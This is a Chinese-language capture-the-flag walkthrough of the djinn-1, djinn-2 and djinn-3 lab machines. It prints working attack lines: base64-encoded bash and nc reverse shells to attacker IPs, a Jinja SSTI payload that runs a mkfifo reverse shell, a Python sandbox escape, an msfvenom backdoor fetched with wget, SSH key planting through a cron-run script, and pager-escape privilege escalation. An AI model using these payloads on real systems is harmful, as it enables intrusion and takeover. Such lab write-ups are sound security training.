djinn-1 信息搜集
22端口服务虽然开着,但处于tcpwrapped状态,即非白名单主机无法连接
7331有个静态页面
扫描目录
ftp登录 有ftp端口,hydra爆破试下
ftp用户好像随便登录。。。登上去看看目录下有三个文件
下载下来看看
cred.txt得知存在nitu用户
game.txt说1337端口有个游戏,直接访问不到,nc成功连接是个计算的小游戏
message.txt是个留言
端口敲门 game.txt提示回答一千次答案就有礼物,那么利用pwntools写个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *def result (raw1,raw2,raw3) : if raw2 == '+' : return int(raw3+raw1) if raw2 == '-' : return int(raw3-raw1) if raw2 == '*' : return int(raw3*raw1) if raw2 == '/' : return int(raw3/raw1) s = remote('192.168.119.136' ,'1337' ) res = s.recvline()+s.recvline()+s.recvline()+s.recvline()+s.recvline()+s.recvline()+s.recvline()+s.recvline()+s.recvline()+s.recvline() res2 = str(res,encoding='UTF-8' ) res3 = list(res2) raw1 = int(res3[-3 ]) raw2 = res3[-7 ] raw3 = int(res3[-11 ]) re = result(raw1,raw2,raw3) print(raw1,raw2,raw3) print(re) s.sendline(str(re)) i=0 while (1 ): i+=1 print('第' +str(i)+'次' ) if i>1000 : print(s.recvline()+s.recvline()+s.recvline()) exit(1 ) res4=s.recvline() print(res4) res5 = str(res4,encoding='UTF-8' ) res6 = list(res5) raw4 = int(res6[-3 ]) raw5 = res6[-7 ] raw6 = int(res6[-11 ]) re2 = result(raw4,raw5,raw6) print(re2) s.sendline(str(re2))
给了三个数字,猜测可能是三个端口号,想起了之前的端口敲门服务,试一下
现在的ssh是不可访问的
依次‘敲’1356,6784,3409,可能失败,多敲几次就开了
ssh登录 现在只知道有个nitu用户,但没有密码无法登录,继续看另一条线,之前扫目录得到的wish
访问有个命令框,扫出个命令执行
测试一下,输入ls,跟随跳转是可以看到回显的
那么试试nc连接shell
显示
bash同样回显,可能过滤了/bin/sh字符
那么把payload base64转换处理试试
1 echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExOS4xMjgvOTk5OSAwPiYxCg==" | base64 -d | bash
在.dev目录下找到nitish用户的密码
sudo -l得知genie命令免密
python沙箱逃逸提权 查看帮助
有两个貌似可以执行命令的参数,试一下
直接进来了。。。。
继续
又是个奇怪的游戏
退出的时候看着像python,试试沙箱逃逸
1 __import__("os").system("whoami")
那么直接
1 __import__("os").system("/bin/sh")
root目录下通关信息
djinn-2 信息搜集
ftp可以匿名登录,查看目录下还是有三个文件
nitu用户仍然存在,并且说时解雇了sam并且雇佣了一个新的成员ugtan
1337端口nc连接又是一个小游戏,但这里回答两次就给一句名人名言
5000端口服务不接受get请求,但post上去显示访问拒绝
7331端口依旧是静态界面
扫目录结果如下
robots.txt
source文件下载打开
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import re from time import sleep import requests URL = "http://{}:5000/?username={}&password={}" def check_ip(ip: str): """ Check whether the input IP is valid or not """ if re.match(r'^(?:(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])' '(\.(?!$)|$)){4}$', ip): return True else: return False def catcher(host, username, password): try: url = URL.format(host, username, password) requests.post(url) sleep(3) except Exception: pass print("Unable to connect to the server!!") def main(): print("If you have this then congratulations on being a part of an awesome organization") print("This key will help you in connecting to our system securely.") print("If you find any issue please report it to ugtan@djinn.io") ip = input('\nIP of the machine: ') username = input('Your username: ') password = input('Your password: ') if ip and check_ip(ip) and username == "REDACTED" and password == "REDACTED": print("Verifiying %s with host %s " % (username, ip)) catcher(ip, username, password) else: print("Invalid IP address given") if __name__ == "__main__": main()
发现是5000端口服务的登录方式,这时xray也扫到了5000端口登录的命令注入
但依旧是过滤了bash和nc等等,之前的base64方式也用不了了
wish目录下仍然是个对话框,但就像他说的,命令注入已经修复
Getshell 感觉突破口就只剩下5000端口的rce了,之前已经测试发现过滤了很多东西,查看下具体
直接弹不了shell,但这里注意到靶机的wget是可以用的,那么我们可以利用生成后门,远程下载之后在靶机上执行
msfvenom生成linux可执行文件
本地python启一个http服务,靶机上wget下载到tmp目录,chmod 777 /tmp/hack.elf
赋予执行权限
本地msf准备监听
执行exploit,burp执行/tmp/hack.elf
可以看到已经成功得到session
python用不了直接nc或者bash弹出来
backups目录下除了一堆备份文件还找到一个kdbx文件
baidu一下
说是可以用keepass打开,nc把文件传出来,windows下keepass下打开看看
但是需要一个密码才能打开这个文件
正好之前的creds.txt里有一串字符串
输进去看看,成功,点击general,右键复制密码成功得到nitish用户的密码&HtMGd$LJB
命令注入 那么切换nitu用户,但权限不足无法直接切换,ssh连接成功
一番寻找无果,查看端口进程发现2843端口一直在监听本地地址
有一些功能
1,3展示,2没权限,4原样输入和展示,5可以添加给6查看
但第6个选项注意到它在读取之前是会进行一项cat操作的,并且对象是通过5添加的文件名
我们添加一个etc/passwd试试
成功读取
因此我们知道这里存在一个命令执行
那么试着反弹shell
bash和nc都失败
base64成功反弹shell
1 bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExOC4xMDgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}'
cronjob提权 /var/mail目录下有封邮件
告诉说他已经在家目录里面创建好了目录,应该是这
说你可以创建一个clean.sh并且cronjob会自动提交任务执行,那么写入bash,监听端口等待执行即可
成功获取root权限,完成
djinn-3 信息搜集 端口开放及服务
1 2 3 4 5 6 7 8 9 10 11 12 Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-18 05:50 EST Nmap scan report for 192.168.117.40 Host is up (0.00016s latency). Not shown: 65532 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 5000/tcp open upnp 31337/tcp open Elite MAC Address: 00:0C:29:66:A8:11 (VMware) Nmap done: 1 IP address (1 host up) scanned in 3.62 seconds
80端口
目录扫描无结果
5000端口
点击link
对id参数测试无结果
31337端口需要登录认证
Getshell 观察5000端口页面信息
提到存在一个guest用户,登录试试
发现利用open命令新建一个ticket会直接显示在5000端口的页面
试试命令注入,插入php代码和命令均无果
翻回去看,信息搜集没做好,nmap没探测清楚5000端口的命令,重新探测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-18 06:25 EST Nmap scan report for 192.168.117.40 Host is up (0.00044s latency). Not shown: 65531 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 e6:44:23:ac:b2:d9:82:e7:90:58:15:5e:40:23:ed:65 (RSA) | 256 ae:04:85:6e:cb:10:4f:55:4a:ad:96:9e:f2:ce:18:4f (ECDSA) |_ 256 f7:08:56:19:97:b5:03:10:18:66:7e:7d:2e:0a:47:42 (ED25519) 80/tcp open http lighttpd 1.4.45 |_http-server-header: lighttpd/1.4.45 |_http-title: Custom-ers 5000/tcp open http Werkzeug httpd 1.0.1 (Python 3.6.9) |_http-server-header: Werkzeug/1.0.1 Python/3.6.9 |_http-title: Site doesn't have a title (text/html; charset=utf-8). 31337/tcp open Elite? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL: | username> | GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions: | username> password> authentication failed | Help: | username> password> | RPCCheck: | username> Traceback (most recent call last): | File "/opt/.tick-serv/tickets.py", line 105, in <module> | main() | File "/opt/.tick-serv/tickets.py", line 93, in main | username = input("username> ") | File "/usr/lib/python3.6/codecs.py", line 321, in decode | (result, consumed) = self._buffer_decode(data, self.errors, final) | UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte | SSLSessionReq: | username> Traceback (most recent call last): | File "/opt/.tick-serv/tickets.py", line 105, in <module> | main() | File "/opt/.tick-serv/tickets.py", line 93, in main | username = input("username> ") | File "/usr/lib/python3.6/codecs.py", line 321, in decode | (result, consumed) = self._buffer_decode(data, self.errors, final) | UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation byte | TerminalServerCookie: | username> Traceback (most recent call last): | File "/opt/.tick-serv/tickets.py", line 105, in <module> | main() | File "/opt/.tick-serv/tickets.py", line 93, in main | username = input("username> ") | File "/usr/lib/python3.6/codecs.py", line 321, in decode | (result, consumed) = self._buffer_decode(data, self.errors, final) |_ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe0 in position 5: invalid continuation byte
编程语言是python,会将输入的信息显示到网页,考虑ssti模板注入
open创建一个测试ticket
成功回显
那么利用ssti命令执行
payload:
1 {{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
那么弹个shell
1 {{config.__class__.__init__.__globals__['os'].popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.118.104 8888 >/tmp/f").read()}}
ssh免密登录 home用户下存在三个用户
发现opt目录下还有两个pyc文件
下载下来反编译看看
.configuration.cpython-38.pyc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import os, sys, jsonfrom glob import globfrom datetime import datetime as dtclass ConfigReader : config = None @staticmethod def read_config (path) : """Reads the config file """ config_values = {} try : with open(path, 'r' ) as (f): config_values = json.load(f) except Exception as e: try : print("Couldn't properly parse the config file. Please use properl" ) sys.exit(1 ) finally : e = None del e else : return config_values @staticmethod def set_config_path () : """Set the config path """ files = glob('/home/saint/*.json' ) other_files = glob('/tmp/*.json' ) files = files + other_files try : if len(files) > 2 : files = files[:2 ] else : file1 = os.path.basename(files[0 ]).split('.' ) file2 = os.path.basename(files[1 ]).split('.' ) if file1[(-2 )] == 'config' : if file2[(-2 )] == 'config' : a = dt.strptime(file1[0 ], '%d-%m-%Y' ) b = dt.strptime(file2[0 ], '%d-%m-%Y' ) if b < a: filename = files[0 ] else : filename = files[1 ] except Exception: sys.exit(1 ) else : return filename
两个函数,read_config读取路径下config文件,set_config_path搜索对应路径下以json格式结尾的两个文件,将文件名以.
为间隔分为数组,使用strptime函数处理获取文件的时间为日期格式,使得file1,file为形如['xx-xx-xx','config','.json']
的格式,比较两个文件的时间,若是/tmp文件下文件较早,返回home目录下json文件,相反返回/tmp目录下json文件
.syncer.cpython-38.pyc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from configuration import *from connectors.ftpconn import *from connectors.sshconn import *from connectors.utils import *def main () : """Main function Cron job is going to make my work easy peasy """ configPath = ConfigReader.set_config_path() config = ConfigReader.read_config(configPath) connections = checker(config) if 'FTP' in connections: ftpcon(config['FTP' ]) else : if 'SSH' in connections: sshcon(config['SSH' ]) else : if 'URL' in connections: sync(config['URL' ], config['Output' ]) if __name__ == '__main__' : main()
main函数根据文件内容选择连接方式
通过上传的工具查看进程可以知道saint目录下会定时执行脚本文件
猜测是执行上面两个脚本,已知文件格式,尝试构造文件,利用main的连接方式进行ssh免密登录
首先ssh-keygen
在本机生成一个公私钥对
复制id_rsa.pub内容,新建一个authorized_keys文件
创建20-11-2020.config.json
文件,内容如下
1 2 3 4 { "URL":"http://192.168.118.108:9901/authorized_keys", "Output":"/home/saint/.ssh/authorized_keys" }
完成后本地python开一个http服务器等待
靶机tmp目录wget下载json文件
这样,脚本执行时就会下载本机的key再输出覆盖到saint用户的key,从而实行远程ssh免密登录
等待saint用户home下脚本执行,成功ssh登录
添加用户 sudo -l
可以免密执行adduser
可以添加root组用户
查看sudoers文件 有了root权限,可以查看其他可以执行sudo组命令的文件
jason用户不存在,返回saint用户创建
apt-get提权 apt除了可以安装包之外
查看它的帮助选项
有个changelog命令可以展示目标包的变更日志,并且测试发现是分页模式下阅读
之前已经学到,如果我们在这种分页状态下输入诸如!+command
的指令,命令就会执行
输入sudo apt-get changelog tree
,在分页模式下输入bash
成功执行,拿到root权限
完成